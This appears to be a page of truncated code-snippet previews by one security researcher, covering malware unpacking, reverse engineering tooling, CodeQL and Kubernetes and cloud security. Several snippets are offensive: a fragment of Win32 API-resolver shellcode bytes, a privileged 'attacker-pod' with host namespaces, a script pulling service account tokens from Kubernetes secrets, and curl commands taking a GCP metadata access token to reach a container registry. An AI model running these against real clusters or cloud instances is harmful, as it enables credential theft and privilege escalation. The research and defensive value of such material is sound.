abhisek

#
# ASPack 2.29 unpacker via. Dynamic Analysis
#

$:.unshift("C:\\Lib\\metasm")
require 'metasm'

AS229_OEP_PUSH_OFFSET = 0x420

def _msg(m, error = false)

abhisek

ghidra () {
	del_stopped ghidra
	xhost +local:root
	docker run --init -it --rm --name ghidra --cpus 2 --memory 4g -e MAXMEM=4G -v /etc/localtime:/etc/localtime:ro -v /tmp/.X11-unix:/tmp/.X11-unix -v "${HOME}/.gtkrc:/root/.gtkrc" -e "DISPLAY=unix${DISPLAY}" -v /home/user1/Work/ghidra/conf/.ghidra:/root/.ghidra -v /home/user1/Work/ghidra:/root/storage blacktop/ghidra
	xhost -local:root
}

ghidra

abhisek

$:.unshift("E:\\Tools\\metasm")

require 'metasm'
require 'optparse'

$ASMCODE = 
	# Win32 PEB based API Resolver
	# Metasm seems to fail on jecxz so we compile using nasm and use the binary
	"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c" +
	"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32" +

abhisek

apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: developers-psp
spec:
  privileged: false
  allowPrivilegeEscalation: false
  hostNetwork: false
  hostPID: false
  hostIPC: false

abhisek

#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <unistd.h>
#include <assert.h>
#include <signal.h>

void hello() {
	printf("Hello debugger\n");

abhisek

apiVersion: v1
kind: Pod
metadata:
  labels:
    run: attacker-pod
  name: attacker-pod
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true

abhisek

#!/bin/bash

export TARGET_CONFIGSERVER=$(kubectl cluster-info | grep master | awk '{print $NF}' | sed 's/\x1B\[[0-9;]\+[A-Za-z]//g')
export TARGET_TOKENNAME=$(kubectl -n developers get sa developer-sa -o jsonpath='{.secrets[0].name}')
export TARGET_CONFIGTOKEN=$(kubectl -n developers get secret $TARGET_TOKENNAME -o "jsonpath={.data.token}" | base64 -d)
export TARGET_CONFIGCRT=$(kubectl -n developers get secret $TARGET_TOKENNAME -o "jsonpath={.data['ca\.crt']}")

cat <<EOF
apiVersion: v1
kind: Config

abhisek

# Get temporary access token using Google Cloud instance metadata
export TOKEN=$(curl -sk -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | \
  jq -r '.access_token')
  
# List all repo from Google cloud registry using access token
curl -u "oauth2accesstoken:$TOKEN" https://eu.gcr.io/v2/_catalog

# Docker login
echo $TOKEN | docker login --username oauth2accesstoken --password-stdin eu.gcr.io

abhisek

import go
import semmle.go.dataflow.DataFlow
import semmle.go.dataflow.TaintTracking

class IntegerSource extends Function {
  IntegerSource() {
    this.hasQualifiedName("strconv", "Atoi") or
    this.hasQualifiedName("strconv", "ParseInt")
  }
}

abhisek

apiVersion: v1
kind: Namespace
metadata:
  name: developers

---

apiVersion: v1
kind: ServiceAccount
metadata: